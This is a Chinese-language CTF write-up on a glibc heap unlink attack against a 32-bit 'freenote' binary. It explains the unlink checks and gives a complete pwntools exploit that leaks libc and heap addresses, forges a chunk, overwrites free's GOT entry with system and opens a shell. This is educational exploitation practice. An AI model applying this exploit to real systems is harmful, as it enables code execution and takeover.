unlink其实就是把chunk从bin链中拉出来然后跟前面或者后面的chunk合并。
参考https://ctf-wiki.github.io/ctf-wiki/pwn/linux/heap/unlink/。
则当我们free(Q)时
- glibc 判断这个块是 small chunk。
- 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并。
- 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并。
- 继而对 nextchunk 采取 unlink 操作。
这里需要清楚的一点是unlink本身是一个函数,unlink§进入函数的时候知道的只有P。
第一步就是找到P的前后的chunk。
unlink检查的细节。会检查P->fd->bk==P,P->bk->fd==P。
// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
// next_size related
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);
所以构造unlink的时候就出现了限制。
具体过程如下(以32位为例)
这里是三部分是同一块空间可以向chunk P中写如数据,有一点需要注意fd后面的箭头指向的内容就是fd里面的内容,可以满足bk位置处指向P,fd位置处指向P(跟ptr的指针位置处重合,填入的数据就是P的地址)(小写的p和ptr是相同的)
(这里的p=ptr)只分析最后一步,BK->fd=FD执行这个其实就是画个箭头,也就是向BK的fd空位置处写入数据,写入的数据是ptr减去12,执行完之后的结果就是ptr=ptr-12
借助unlink需要的条件:如果有堆溢出最好,如果没有至少需要一个UAF漏洞在让程序能够第二次free。
数据的结构很简单
先申请一个chunk大小是0xc18用来存放下一个chunk的信息。
里面存放的是标志位1,size=8,下一个node的地址=0x08f81c20 …
pwndbg> x /100xw 0x8f81000
0x8f81000: 0x00000000 0x00000c19 0x00000100 0x00000002
0x8f81010: 0x00000001 0x00000008 0x08f81c20 0x00000001
0x8f81020: 0x00000008 0x08f81ca8 0x00000000 0x00000000
漏洞:
在free的时候没有把指针设置为NULL,虽然堆edit有检查,但是对free并没有检查,可以构造unlink。
思路:多次malloc小chunk然后free,之后malloc大chunk申请到原本free掉的空间。更改fd和bk还有prive_inuse位然后再次free就会实现上述的写入。更改每个node的地址,实现任意地址写。
(其实就是small bin或者unsort bin的double free)
利用需要:需要堆的地址(每个node的指针都是存放在堆里的),需要libc的加载地址。
#########################get libc_base
local()
#remot()
new("A"*7) #0
new("B"*7)#1
gdb.attach(p)
delete(0)
new("0")
List()
p.recv(7)
main_addr=u32(p.recv(4))
print "main_addr="+hex(main_addr)
libc_base=main_addr-offset
print "libc_base="+hex(libc_base)
######################get heap_base
new("c"*0x7)#2
new("d"*0x7)#3
delete(0)
delete(2)
new('0')
List()
p.recv(7)
heap_base=u32(p.recv(4))-0xd28
print "heap_base="+hex(heap_base)
delete(0)
delete(1)
delete(3)
List()
构造fake chunk进行unlink
#################unlink
payload=p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)+p32(0x80)
payload=payload.ljust(0x80,'A')# chunk0
payload+=p32(0x80)+p32(0x80)
payload=payload.ljust(256,"A")#chunk1
payload+=p32(0x80)+p32(0x81)#chunk2
new(payload)
delete(1)
new("A"*20)
List()
这里需要注意:unlink是三个chunk的操作要满足
1.被unlink的chunk P中需要伪造size,fd,bk,还要注意一个next_prive_chunk_size。
2.需要P的下一个chunk的prive_size,prive_inuse=0
3.需要P的下一个chunk的下一个chunk的size的prive_inuse位为1
free掉P_next,设置P_next_next_prive_inuse=0,会检查前一个chunk,为空,进行unlink(P)
运行的结果
pwndbg> x /100xw 0x9e2e000
0x9e2e000: 0x00000000 0x00000c19 0x00000100 0x00000001
0x9e2e010: 0x00000001 0x00000109 0x09e2e00c 0x00000001
0x9e2e020: 0x00000015 0x09e2ec28 0x00000000 0x00000000
0x9e2e030: 0x09e2ed30 0x00000000 0x00000000 0x09e2edb8
0x9e2e040: 0x00000000 0x00000000 0x00000000 0x00000000
chunk的P被写入位(&P)-12
完整exp
from pwn import *
#context.log_level="debug"
offset=0x1b27b0
def local():
global p,elf,libc,env
env = {'LD_PRELOAD': './libc.so.6'}
p=process("./freenote_x86")
elf=ELF("./freenote_x86")
libc=ELF("./libc.so.6")
def new(content):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Length of new note: ")
p.sendline(str(len(content)+1))
p.recvuntil("Enter your note: ")
p.sendline(content)
p.recvuntil("Done.")
def List():
p.recvuntil("Your choice: ")
p.sendline("1")
def Edit(index,content):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Note number: ")
p.sendline(str(index))
p.recvuntil("Length of note: ")
p.sendline(str(len(content)+1))
p.recvuntil("Enter your note: ")
p.sendline(content)
def delete(index):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Note number: ")
p.sendline(str(index))
#########################get libc_base
local()
#remot()
new("A"*7) #0
new("B"*7)#1
delete(0)
new("0")
List()
p.recv(7)
main_addr=u32(p.recv(4))
print "main_addr="+hex(main_addr)
libc_base=main_addr-offset
print "libc_base="+hex(libc_base)
######################get heap_base
new("c"*0x7)#2
new("d"*0x7)#3
delete(0)
delete(2)
new('0')
List()
p.recv(7)
heap_base=u32(p.recv(4))-0xd28
print "heap_base="+hex(heap_base)
delete(0)
delete(1)
delete(3)
List()
#################unlink
payload=p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)+p32(0x80)
payload=payload.ljust(0x80,'A')# chunk0
payload+=p32(0x80)+p32(0x80)
payload=payload.ljust(256,"A")#chunk1
payload+=p32(0x80)+p32(0x81)#chunk2
new(payload)
delete(1)
new("A"*20)
List()
gdb.attach(p)
#############################reset got
system_addr=libc_base+libc.symbols["system"]
print "system_addr="+hex(system_addr)
#gdb.attach(p)
payload=p32(1)+p32(1)+p32(0x109)+p32(heap_base+0x18-12)#chunk0
payload+=p32(1)+p32(5)+p32(elf.got['free'])#chunk1
payload+=p32(1)+p32(len("/bin/sh\x00")+1)+p32(heap_base+0xd30)#chunk2
payload=payload.ljust(0x108,"A")
Edit(0,payload)
########################get shell
Edit(1,p32(system_addr))
Edit(2,"/bin/sh")
delete(2)
p.interactive()
里面出现的偏移不知道,远程和本地库不一样,不知道怎么获取到远程库偏移。
希望知道的大佬评论,感谢